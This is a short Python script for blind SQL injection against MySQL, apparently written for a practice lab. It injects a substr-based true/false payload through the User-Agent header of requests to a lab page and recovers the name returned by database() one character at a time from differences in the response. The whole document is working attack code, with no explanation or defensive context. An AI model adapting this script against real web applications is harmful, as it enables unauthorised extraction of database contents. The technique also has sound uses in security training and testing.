Blind sql injection using true/false statements (mysql)

blindsqli.py

#!/usr/bin/python

import string, os, requests

allchars = string.ascii_letters
found = False
quit = False
dumpstr = ""
index = 1
table="database()"

while(quit == False):
	for c in allchars:
		found = False
		payload = "' or substr(%s,%s,1) = '" % (table,(str(index)))	
		headers = {"User-Agent": payload+c}
		r = requests.get("http://1.lab.sqli.site/getBrowserInfo.php", headers=headers)

		if "nothing" in r.content.decode():
			if index == 1:
				print("[+] Found something!")
				print("[+] Dumping '%s': " % table, end="")
			dumpstr += c
			found = True
			print(c, end="", flush=True)
			break
		
		if found == False and "Z" in c:
			quit = True
			print("")
			print("[-] End")
			break
	index+=1